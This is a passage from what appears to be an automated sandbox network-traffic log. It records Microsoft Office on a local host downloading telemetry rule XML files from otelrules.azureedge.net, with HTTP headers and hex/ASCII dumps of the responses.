2024-10-30 06:28:21 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:21 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: f473ee8a-401e-00ac-6cf0-260a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062821Z-16849878b78smng4k6nq15r6s4000000097g000000003a5f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:21 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49925	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:21 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:22 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:21 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: b5ff136b-401e-005b-7aea-269c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062821Z-r197bdfb6b4c8q4qvwwy2byzsw0000000820000000002n3r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:22 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49926	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:21 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:22 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:22 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: ca4b2a6a-001e-000b-1aff-2615a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062821Z-17c5cb586f62blg5ss55p9d6fn00000008m0000000000wcy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:22 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49927	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:22 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:22 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:22 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 2e99a458-901e-0067-29ae-26b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062822Z-16849878b786fl7gm2qg4r5y7000000007tg00000000p5zb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:22 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49929	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:22 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:22 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:22 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 44be6224-701e-0032-738d-27a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062822Z-17c5cb586f6lxnvg801rcb3n8n00000007gg00000000eh2b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:22 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49928	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:22 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:22 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:22 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 394c271c-f01e-0020-7bb8-29956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062822Z-r197bdfb6b4gx6v9pg74w9f47s00000009p000000000cpfd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 06:28:22 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49930	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:22 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:22 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:22 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 980a0530-101e-00a2-7d83-299f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062822Z-r197bdfb6b4qbfppwgs4nqza80000000066g00000000b26u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:22 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49931	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:22 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:22 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:22 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 255ed8c5-301e-0051-461c-2738bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062822Z-16849878b7828dsgct3vrzta70000000061g00000000a3pk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:22 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49932	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:23 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:23 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:22 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: cdbfd92d-501e-0029-317f-27d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062822Z-16849878b78tg5n42kspfr0x4800000007ng00000000ar57 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:23 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49934	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:23 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:23 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:23 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 2e8006eb-901e-0083-471c-26bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062823Z-16849878b78q9m8bqvwuva4svc000000062000000000n2xu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:23 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49933	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:23 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:23 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:23 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 75b99f9f-001e-0079-56b6-2612e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062823Z-r197bdfb6b48pl4k4a912hk2g400000007100000000000ft x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:23 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49935	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:23 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:23 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:23 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 207ff7bf-701e-006f-1357-27afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062823Z-16849878b787bfsh7zgp804my400000006h0000000001anq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
